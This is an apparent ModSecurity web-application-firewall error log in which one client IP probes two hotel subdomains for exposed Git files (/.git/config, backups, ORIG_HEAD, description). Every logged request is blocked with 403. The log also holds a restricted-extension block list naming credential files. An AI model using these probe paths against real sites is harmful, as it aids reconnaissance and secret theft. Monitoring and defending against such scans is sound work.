[Sun Oct 25 04:06:22.194034 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at24ftxXWZMI2DaSlsHxNQAAABY"]
[Sun Oct 25 04:06:22.194193 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at24ftxXWZMI2DaSlsHxNQAAABY"]
[Sun Oct 25 04:06:22.194453 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at24ftxXWZMI2DaSlsHxNQAAABY"]
[Sun Oct 25 04:06:22.196528 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at24fi7GhhaIo05efijDIAAAAAc"]
[Sun Oct 25 04:06:22.196653 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at24fi7GhhaIo05efijDIAAAAAc"]
[Sun Oct 25 04:06:22.196870 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at24fi7GhhaIo05efijDIAAAAAc"]
[Sun Oct 25 04:06:22.197876 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fp68N771hz7W4KlsSAAAAAw"]
[Sun Oct 25 04:06:22.198001 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fp68N771hz7W4KlsSAAAAAw"]
[Sun Oct 25 04:06:22.198231 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fp68N771hz7W4KlsSAAAAAw"]
[Sun Oct 25 04:06:22.217344 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24frQKh4dfs72fmHxv-QAAAAE"]
[Sun Oct 25 04:06:22.217516 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24frQKh4dfs72fmHxv-QAAAAE"]
[Sun Oct 25 04:06:22.217696 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24frQKh4dfs72fmHxv-QAAAAE"]
[Sun Oct 25 04:06:22.217982 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24frQKh4dfs72fmHxv-QAAAAE"]
[Sun Oct 25 04:06:22.220141 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fqrU4NwppjTEGaL6jQAAAAY"]
[Sun Oct 25 04:06:22.220266 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fqrU4NwppjTEGaL6jQAAAAY"]
[Sun Oct 25 04:06:22.220410 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fqrU4NwppjTEGaL6jQAAAAY"]
[Sun Oct 25 04:06:22.220647 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fqrU4NwppjTEGaL6jQAAAAY"]
[Sun Oct 25 04:06:22.239729 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24flTnwNJm6o1fQZIitQAAAAI"]
[Sun Oct 25 04:06:22.239879 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24flTnwNJm6o1fQZIitQAAAAI"]
[Sun Oct 25 04:06:22.240043 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24flTnwNJm6o1fQZIitQAAAAI"]
[Sun Oct 25 04:06:22.240326 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at24flTnwNJm6o1fQZIitQAAAAI"]
[Sun Oct 25 04:06:22.252325 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fgLaiqtlZaJBsx4X0QAAAA0"]
[Sun Oct 25 04:06:22.252501 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fgLaiqtlZaJBsx4X0QAAAA0"]
[Sun Oct 25 04:06:22.252696 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fgLaiqtlZaJBsx4X0QAAAA0"]
[Sun Oct 25 04:06:22.253021 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at24fgLaiqtlZaJBsx4X0QAAAA0"]
[Sun Oct 25 04:06:22.273479 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at24foHtOs-nfC4GshpRrwAAABc"]
[Sun Oct 25 04:06:22.273727 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at24foHtOs-nfC4GshpRrwAAABc"]
[Sun Oct 25 04:06:22.274024 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at24foHtOs-nfC4GshpRrwAAABc"]
[Sun Oct 25 04:06:22.283438 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at24ftxXWZMI2DaSlsHxNgAAABY"]
[Sun Oct 25 04:06:22.283668 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at24ftxXWZMI2DaSlsHxNgAAABY"]
[Sun Oct 25 04:06:22.283933 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at24ftxXWZMI2DaSlsHxNgAAABY"]
[Sun Oct 25 04:06:22.284878 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at24fi7GhhaIo05efijDIQAAAAc"]
[Sun Oct 25 04:06:22.284995 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at24fi7GhhaIo05efijDIQAAAAc"]
[Sun Oct 25 04:06:22.285225 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at24fi7GhhaIo05efijDIQAAAAc"]
[Sun Oct 25 04:06:22.286137 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/description"] [unique_id "at24fp68N771hz7W4KlsSQAAAAw"]
